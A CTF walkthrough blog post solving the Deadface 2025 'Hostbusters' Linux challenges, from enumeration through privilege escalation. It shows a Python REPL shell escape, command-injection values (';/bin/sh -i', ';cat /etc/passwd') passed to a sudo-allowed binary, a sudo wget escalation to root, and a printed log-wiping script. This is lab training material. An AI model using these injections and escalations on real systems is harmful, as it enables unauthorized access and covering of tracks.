Who you gonna call? - HOSTBUSTERS

cat hostbusters.md

Hostbusters was a unique challenge series in the 2025 edition of deadface CTF. It featured many aspects of reallife attacks chains that might be found in actual penetration tests. In this post we will look through all of the available eight challenges.

Animated image of ghostbusters using 
    their proton pack

Let Me In

Let's log-in with these credentials via ssh and see what we can get.

Linux env03 6.1.0-40-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.153-1 (2025-09-20) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 28 13:33:58 2025 from 173.34.11.244
~ $

Now that we are connected let us poke around the system.

I'll give you a short overview of this, but we will go into more detail on some of these points in later sections.

whoami 
# gh0st404

groups 
# gh0st404

pwd 
# /home/gh0st404

cat /etc/passwd | grep sh$
# root:x:0:0:root:/root:/bin/sh
# gh0st404:x:1000:1000::/home/gh0st404:/bin/sh
# mirveal:x:1001:1001::/home/mirveal:/bin/sh
# deephax:x:1002:1002::/home/deephax:/usr/bin/dfsh

ls -la
# total 28
# drwxr-sr-x    1 gh0st404 gh0st404      4096 Oct 28 13:57 .
# drwxr-xr-x    1 root     root          4096 Sep 17 02:04 ..
# -rw-------    1 gh0st404 gh0st404        52 Oct 28 14:02 .ash_history
# -rw-r--r--    1 gh0st404 gh0st404       382 Sep 17 02:04 .dont_forget
# -rw-r--r--    1 gh0st404 gh0st404      1850 Sep 17 02:04 notes.txt
# drwxr-sr-x    1 gh0st404 gh0st404      4096 Sep 17 02:04 tools

Let's look at the first one of these files, namely notes.txt. I'll give you a short excerpt here:

# [...]

Day 6 — 12:18 AM
Weird thing: their main site pushes traffic through Cloudflare, but half their
subdomains don’t. Split-brain security. Classic. Whoever set this up either cut
corners or didn’t know what the hell they were doing. Both work in my favor.

Day 7 — 01:45 AM
No break-ins yet — just circling the building, peeking in the windows. Feels
like De Monne wants me to think they’re solid. But I can see the cracks. Just
need the right pressure to make ‘em split.

deadface{hostbusters1_cf6a12ddf781cfbc}

And with this we get the first flag:

deadface{hostbusters1_cf6a12ddf781cfbc}

Not too hard, I dare to say. The poking around on the files system nicely transitions us into the second challenge.


Secret Stash

We already looked at the first file we found (notes.txt) so obviously we should look at the other files as well. And as luck has it the second file we look at .dont_forget has another flag:

random junk, don’t lose this file (again)

[personal]
Gh0st!v3r$e_404
0nly_Sh4d0w_Kn0ws
n0scopez420!

[tools]
- burp:         waf_slayer$$
- metasploit:   c0d3BReaKer!
- vpn (alt):    4sh3s2dust_

[misc]
- music:      s1lent_echoes
- github:       b4ckd00rRabb1t
- deephax pen: Fr4gm3ntedSkull!!

# note to self: change the pen one (again)

deadface{hostbusters2_4685d0c801939781}

The content of the file looks like some kind of crude password managment solution, a 'virtual post-it note' of some sort. At the end we also see our second flag:

deadface{hostbusters2_4685d0c801939781}


Et Cetera

This is the first time Ghost Town is mentioned. Ghost Town is a message board / forum-esque webpage that gives the players of the CTF hints, red herrings or background on the story of the events. Here we see that gh0st404 was talking about a script. So let's see if we can find what they were talking about.

Here is the first part of the forum posts:

The posts go on, talking about moving the file back into gh0st404's home and checking the permissions on the file. So let's try to find the script he was talking about. I think the fastest way is to use the find command.

Using find we can quickly **find** the file we are searching for:

/etc/logclean.sh

Let's try seeing it's content:

cat: can't open '/etc/logclean.sh': Permission denied

We should have expected this as they were talking about permission issues before. So let's check the permissions on this file:

----------    1 gh0st404 gh0st404       552 Sep 17 02:04 /etc/logclean.sh

We see that we own the file fully (user and group) but interestingly there are no permission granted for that file. Let's change the permission so we can read it with:
chmod +r /etc/logclean.sh

Doing a ls again we see that we now have read rights for that file and can read it:

-r--r--r--    1 gh0st404 gh0st404       552 Sep 17 02:04 /etc/logclean.sh
# [...]

echo "[*] zeroing logs (local only)..."
for log in /var/log/*.log; do
    [ -f "$log" ] && cat /dev/null > "$log"
done

echo "[*] cleaning done. ghost mode re-enabled."

echo "deadface{hostbusters3_0547796725934bbd}"

I cut of the file at the beginning a bit because it is not really interesting. More interesting though is that we find our third flag in it:

deadface{hostbusters3_0547796725934bbd}


Lay of the Land

This flag was pretty easy and I found it really early on. The challenge description also gives us a big hint: What are some of the characters of this environment?

Let's run the env command and see what the output gets us:

USER=gh0st404
SHLVL=2
HOME=/home/gh0st404
PAGER=less
flag=deadface{hostbusters4_c6e54afa62741d34}
LOGNAME=gh0st404
TERM=xterm
LC_COLLATE=C
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
SHELL=/bin/sh
PWD=/home/gh0st404
CHARSET=UTF-8

Without much searching this gave us our fourth flag:

deadface{hostbusters4_c6e54afa62741d34}


Worldwide

Before we search for deephax's password let us first see what this pen-console.py is. We use find to search for it again:

/usr/local/bin/pen-console.py

And now we get the content:

#!/usr/bin/python3

import cmd
import os
import hashlib
import base64
import subprocess
from cryptography.fernet import Fernet  # you need this: pip install cryptography

flag="deadface{hostbusters5_e16a5c8995620a24}"

class DeephaxConsole(cmd.Cmd):
    intro = "YO welcome to deephax’s red team console 🔥 type 'help' for commands or whatever. let’s HAX! 💀"
    prompt = '(deephax)> '

    def do_hash(self, arg):
        """hash <string>: gimme a string, i spit hashes back at ya."""
        if not arg:
            print("bruh... gimme sumthin to hash!! 😤")
            return
        print(f"MD5: {hashlib.md5(arg.encode()).hexdigest()}")
        print(f"SHA1: {hashlib.sha1(arg.encode()).hexdigest()}")
        print(f"SHA256: {hashlib.sha256(arg.encode()).hexdigest()}")

    def do_encrypt(self, arg):
        """encrypt <message>: encrypts ur message wit Fernet 🔐"""
        if not arg:
            print("what u tryna lock up? type somethin! 🗝️")
            return
        key = Fernet.generate_key()
        cipher = Fernet(key)
        encrypted = cipher.encrypt(arg.encode())
        print(f"here's ur key (DON'T LOSE IT): {key.decode()}")
        print(f"and here’s ur encrypted junk: {encrypted.decode()}")

    # Here are some more methods
    # [...]

    def do_quit(self, arg):
        """yeet outta this console."""
        print("PEACE OUT - deephax out ✌️")
        return True

if __name__ == '__main__':
    DeephaxConsole().cmdloop()

This gives use our next flag.

deadface{hostbusters5_e16a5c8995620a24}

But we were also told that we should escalate our privilege to deephax. So let's try to exactly that, it might get useful in the future.

Lateral Movement to deephax

We should check the mentioned Ghost Town posts again. Maybe this gives us more information. This is the most interesting one:

So gh0st404 has the password of deephax. Nothing new, but does that ring a bell?

For everyone who hasn't got it by now, here is the 'solution'. We found a 'virtual post-it note' and it has the following line in it:

random junk, don’t lose this file (again)

[personal]
Gh0st!v3r$e_404
0nly_Sh4d0w_Kn0ws
n0scopez420!

[tools]
- burp:         waf_slayer$$
- metasploit:   c0d3BReaKer!
- vpn (alt):    4sh3s2dust_

[misc]
- music:      s1lent_echoes
- github:       b4ckd00rRabb1t
- deephax pen: Fr4gm3ntedSkull!!

# note to self: change the pen one (again)

deadface{hostbusters2_4685d0c801939781}

This is the password for deephax.

Let's use su to change our user to them. After entering the password we see this:

YO welcome to deephax’s red team console 🔥 type 'help' for commands or whatever. let’s HAX! 💀
(deephax)>

So we are running inside the python programm we've seen before. Let's open another ssh session and take a closer look at how the code is working:

import cmd
# more imports

class DeephaxConsole(cmd.Cmd):
    intro = "YO welcome to deephax’s red team console 🔥 type 'help' for commands or whatever. let’s HAX! 💀"
    prompt = '(deephax)> '


    # Here are some more methods
    # [...]

    def do_quit(self, arg):
        """yeet outta this console."""
        print("PEACE OUT - deephax out ✌️")
        return True

if __name__ == '__main__':
    DeephaxConsole().cmdloop()

I cut down the code to the most important parts. Its running a cmdloop from the cmd module. Thats basically it. Let's go to the documentation and read up on what it is doing exactly.

Nothing too interesting. Let's see what shell would be run if we login as deephax with /etc/passwd:

root:x:0:0:root:/root:/bin/sh
gh0st404:x:1000:1000::/home/gh0st404:/bin/sh
mirveal:x:1001:1001::/home/mirveal:/bin/sh
deephax:x:1002:1002::/home/deephax:/usr/bin/dfsh

We see it starts dfsh. This is no default shell I (or Google) knows of. This is weird, because we have seen that we are running the python file. Let's play around with the shell. Let's list all commands with help


Documented commands (type help <topic>):
========================================
base64  decrypt  encrypt  forensics  hash  help  quit  recon

(deephax)>

Let's play around with some:

(deephax)>base64 encode test
dGVzdA==
(deephax)>
(deephax)>base64 decode dGVzdA==
test
(deephax)>

Ok, so we can base64 encode and decode strings. What else looks interesting? What about recon and forensics

(deephax)>recon
yo i need an IP 😑
(deephax)>
(deephax)>recon 127.0.0.1
nmap ain't even installed??? WACK.
(deephax)>
(deephax)>forensics
what file u want me 2 peek at? 👀
(deephax)>
(deephax)>forensics /etc/passwd
Traceback (most recent call last):
  File "/usr/local/bin/pen-console.py", line 102, in <module>
    DeephaxConsole().cmdloop()
  File "/usr/lib/python3.12/cmd.py", line 138, in cmdloop
    stop = self.onecmd(line)
           ^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/cmd.py", line 217, in onecmd
    return func(arg)
           ^^^^^^^^^
  File "/usr/local/bin/pen-console.py", line 88, in do_forensics
    file_type = subprocess.run(['file', arg], capture_output=True, text=True).stdout.strip()
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/subprocess.py", line 548, in run
    with Popen(*popenargs, **kwargs) as process:
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/subprocess.py", line 1026, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "/usr/lib/python3.12/subprocess.py", line 1955, in _execute_child
    raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'file'
>>>

???

The shell crashed and we are in a python REPL now. REPL means read-eval-print loop and is the interactive python interpreter. Most importantly it gives us FULL access to ALL of python. Let's start a normal shell and see why this happened:
import os;os.system('/bin/sh -i')

First let's look at the shell that we started when we connected:

#!/bin/sh
python3 -i /usr/local/bin/pen-console.py

This explains a lot as python -i runs a interactive shell and gives you are REPL whenever the programm finishes.

-i     : inspect interactively after running script; forces a prompt even
         if stdin does not appear to be a terminal; also PYTHONINSPECT=x

This means no matter how we quit / crash the programm we get the REPL. This actually happend for me on accident because I tried to quit the shell with CTRL-C and got into the interactive python interpreter. Another way to achieve this is to type quit in the pen-console.py shell.


Pulse Check

So this is all about searching for the flag somewhere 'on' the system. To achieve this let's first start by trying to grab all flags we have access to on the system. Note: I will be using the deephax user here.

/home/deephax/.ash_history:grep -r 'deadface' / 2>/dev/null
/home/gh0st404/.dont_forget:deadface{hostbusters2_4685d0c801939781}
/home/gh0st404/notes.txt:deadface{hostbusters1_cf6a12ddf781cfbc}
/usr/local/bin/pen-console.py:flag="deadface{hostbusters5_e16a5c8995620a24}"
/etc/logclean.sh:echo "deadface{hostbusters3_0547796725934bbd}"

I did not let this command finish as it took quite a long time but this is basically all it finds. The reason why we can not find any new flags here can be varied. It could be that the flag is encoded or encrypted, we have no read access to the file, or the flag is only accessible on another machine via the network. There are probably more ways how it is possible to not find the flag but these are the main reasons in my opinion. Let's look at the network with netstat

netstat: can't scan /proc - are you root?
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
udp        0      0 0.0.0.0:37514           0.0.0.0:*                           -

There is one UDP port, but if we connect to it via nc we don't get anything back and when we quit we only get this: punt!. But we also see that we might not have the full picture because as it says can't scan /proc - are you root?. We are not root thus we don't see every listening port. Let's try listing what processes are running:

PID   USER     TIME  COMMAND
    1 gh0st404  0:00 /bin/sh
    7 root      0:00 /usr/bin/dfcheckalive
   49 deephax   0:00 {dfsh} /bin/sh /usr/bin/dfsh
   50 deephax   0:00 python3 -i /usr/local/bin/pen-console.py
   53 deephax   0:00 /bin/sh -i
   69 deephax   0:00 ps aux

Everything except that root process are expected as we started them.

Let's check what this programm dfcheckalive is.

-rwxr-xr-x    1 deephax  deephax      19464 Sep 17 02:04 /usr/bin/dfcheckalive

Ok so we have full access to this file. I would normally use the file utility on the file to find out what type of file this is but it is not available in the docker container. Thus I will use the strings programm:

T/lib/ld-musl-x86_64.so.1
socket
exit
htons
fopen
strncmp
perror
strncpy
puts
__stack_chk_fail
inet_pton
statvfs
fgets
strlen
...

Here are the first view lines of the output. We see that this is probably a ELF (binary) file. Normally I would now pull it to my machine and analyze it but this is a CTF so let's just run it on the machine. After all it's not our machine we would break.

Starting DEADFACE 'Alive' Reporter (dfcheckalive)...
Sending host status JSON to 127.0.0.1:4343 every 5 seconds.

Ok, so this is what root is running. Lets try listening for the content:

listening on [::]:4343 ...

But nothing is send to our end. Maybe it's not a TCP socket. We could easily find what it is doing using strace or ltrace but before we put our time into this on the CTF we could also just try UDP instead:

listening on [::]:4343 ...
connect to [::ffff:127.0.0.1]:4343 from [::ffff:127.0.0.1]:37514 ([::ffff:127.0.0.1]:37514)
{"status":"alive","flag":"deadface{hostbusters7_d8c0a4c4e64a5b78}","host":{"hostname":"hostbusters","ip":"0.0.0.0","disk_gb":157,"mem_gb":7}}

After a second or two we get a connection back. And hey look at that, the next flag.

deadface{hostbusters7_d8c0a4c4e64a5b78}

Let's hop to the next challenge


Read 'Em and Weep

Let's first find the files they are talking about by going to the home directory of mirveal: cd /home/mirveal

drwxr-sr-x    1 mirveal  mirveal       4096 Sep 17 02:04 .
drwxr-xr-x    1 root     root          4096 Sep 17 02:04 ..
drwxr-sr-x    1 mirveal  mirveal       4096 Sep 17 02:04 .keys
-rw-r--r--    1 mirveal  mirveal        256 Sep 17 02:04 hostbusters6.bin

We see the mentioned file: hostbusters6.bin. We also see a .keys directory. Let's cd into it and list all the files

drwxr-sr-x    1 mirveal  mirveal       4096 Sep 17 02:04 .
drwxr-sr-x    1 mirveal  mirveal       4096 Sep 17 02:04 ..
-rw-------    1 mirveal  mirveal       1704 Sep 17 02:04 private.pem
-rw-r--r--    1 mirveal  mirveal        451 Sep 17 02:04 public.pem

We see a public:private key pair. But only the public key is accessible. I believed the crypto might be good so the only way to get our hands onto the flag was to get access to the mirveal user.

We will take a look at our sudo rights. Let's list them with sudo -l:

Matching Defaults entries for deephax on hostbusters:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for deephax:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User deephax may run the following commands on hostbusters:
    (mirveal) NOPASSWD: /usr/bin/logviewer *

OK nice, we can run a script as mirveal. Let's see what the permission on the script are:

-rwxr-xr-x    1 mirveal  admins       18488 Sep 17 02:04 /usr/bin/logviewer

deephax is not in the admins group. This means we can not change the file. Let's see what typo of file we are dealing with to get a better idea of what we are dealing with:

/lib/ld-musl-x86_64.so.1
__stack_chk_fail
system
_init
_fini
__cxa_finalize
__libc_start_main
snprintf
libc.musl-x86_64.so.1
__deregister_frame_info
...
__register_frame_info
uGUH
t&UH
Usage: %s <logfile_pattern>
ls -l /var/log/%s
;*3$"
GCC: (Alpine 14.2.0) 14.2.0
_init
...

I again cut out some lines because the output is quite long. We see that this is a ELF file again. Let's run it and see what it does:

Usage: /usr/bin/logviewer <logfile_pattern>

Let's specify a file:

ls: /var/log//etc/passwd: No such file or directory

So this is running ls. Which we can verify also by looking in the strings output:

/lib/ld-musl-x86_64.so.1
__stack_chk_fail
system
_init
_fini
__cxa_finalize
__libc_start_main
snprintf
libc.musl-x86_64.so.1
__deregister_frame_info
...
__register_frame_info
uGUH
t&UH
Usage: %s <logfile_pattern>
ls -l /var/log/%s
;*3$"
GCC: (Alpine 14.2.0) 14.2.0
_init
...

If there is no sanitization we might be able to inject into the commandline it is running. Let's try,

;cat /etc/passwd

as the file.

Usage: /usr/bin/logviewer <logfile_pattern>
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
klogd:x:100:101:klogd:/dev/null:/sbin/nologin
gh0st404:x:1000:1000::/home/gh0st404:/bin/sh
mirveal:x:1001:1001::/home/mirveal:/bin/sh
deephax:x:1002:1002::/home/deephax:/usr/bin/dfsh

This means we have command injection. Let's try spawing a shell with sudo now:

sudo -u mirveal /usr/bin/logviewer ';/bin/sh -i'

Awesome we are mirveal now. We can use openssl now to decrypt the file:

openssl pkeyutl -in hostbusters6.bin -inkey .keys/private.pem -decrypt -pkeyopt rsa_padding_mode:pkcs1 -out flag.txt

This gives us our second to last flag:

deadface{hostbusters6_d22a1c03f3454b9c}

Let's go for a sprint on the final stretch and slay this beast of a machine!


I Am Root

We start with similar enumeration as we did before. Let's list our sudo right:

Matching Defaults entries for mirveal on hostbusters:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for mirveal:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User mirveal may run the following commands on hostbusters:
    (ALL) ALL
    (ALL) NOPASSWD: /usr/bin/wget

We technically can run anything as root, as long as we know mirveal's password, which we don't. So let's focus on the second part of the sudo output:

(ALL) NOPASSWD: /usr/bin/wget

We can use a online tool called GTFOBins to check if there are any know ways to escalate our privilege with this binary. Nice, we get a hit with wget. Let's follow the tutorial for sudo:

Let's run the mentioned script.

root

So we are root. We've done it! Let's get the image onto our machine. We can't put any ssh public key in because when we connect with another session another docker container is run, without our added key. So we can't use scp. The 'easiest' way to do this for me was to base64 encode the image copy all over and decode it again:

/9j/4QBORXhpZgAATU0AKgAAAAgAAwEaAAUAAAABAAAAMgEbAAUAAAABAAAAOgEoAAMAAAABAAIA
AAAAAAAACvyAAAAnEAAK/IAAACcQAAAAAP/tAEBQaG90b3Nob3AgMy4wADhCSU0EBgAAAAAABwAG
AQEAAQEAOEJJTQQlAAAAAAAQAAAAAAAAAAAAAAAAAAAAAP/uACFBZG9iZQBkQAAAAAEDABADAgMG
AAAAAAAAAAAAAAAA/9sAhAACAgICAgICAgICAwICAgMEAwICAwQFBAQEBAQFBgUFBQUFBQYGBwcI
BwcGCQkKCgkJDAwMDAwMDAwMDAwMDAwMAQMDAwUEBQkGBgkNCgkKDQ8ODg4ODw8MDAwMDA8PDAwM
DAwMDwwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAz/wgARCAHgAiADAREAAhEBAxEB/8QA6wAA
AQQDAQEBAAAAAAAAAAAAAgEDBAUABgcICQoBAQEBAQEBAQEAAAAAAAAAAAABAgMEBQYHEAABAwMD
AwMDAwQDAQEAAAABAAIDEQQFEAYHICESMRMIMEAiUEEUMiMVCTMWFyQYEQABAwIEAwUEBwUGBAQF
BQABEQIDAAQhMRIFQVEGEGFxIhOBkTIHIKGxwUIjFPDRUjMVMOFicoIk8UMWCJKyUxeiwjREJWNz
g7M1EgABAwEFBQYEBQMEAwAAAAABABEhAhAgUDFBMFFhcRJAYKGxIgOBkcHRcPDhMhPxUiOAQnKC
...

I copied (again) only a bit of the output. But we can just use this, copy all, put it into a file and then convert it back to binary:

cat img.base64 | base64 -d | img.jpg

Picture of a whiteboard with the flag on it

And thus we get the last flag:

deadface{hostbusters8_70139688d8cead3}


Closing Thoughts

So this is it. This was hostbusters. I hope you all had fun and learned something. These challenges were extremely fun and I think they have a quite unique take on jeopardy CTF challenges. They represent a window into the real world, providing a glimse into how actual penetration testers work. Lastely I would like to shoutout the challenge author @syyntax, but also the whole Cyber Hacktics Crew. Please check out their stuff and leave some love:

  1. X / Twitter
  2. Instagram
  3. Cyber Hacktics LinkedIn
  4. Cyber Hacktics Blog
  5. synntax's LinkedIn

Also a shoutout to saarsec the CTF group I am part of, who support the German CTF and cybersecurity community so much. And last but not least a little promo for our upcoming CTF: saarCTF 2025 (8th of November 2025):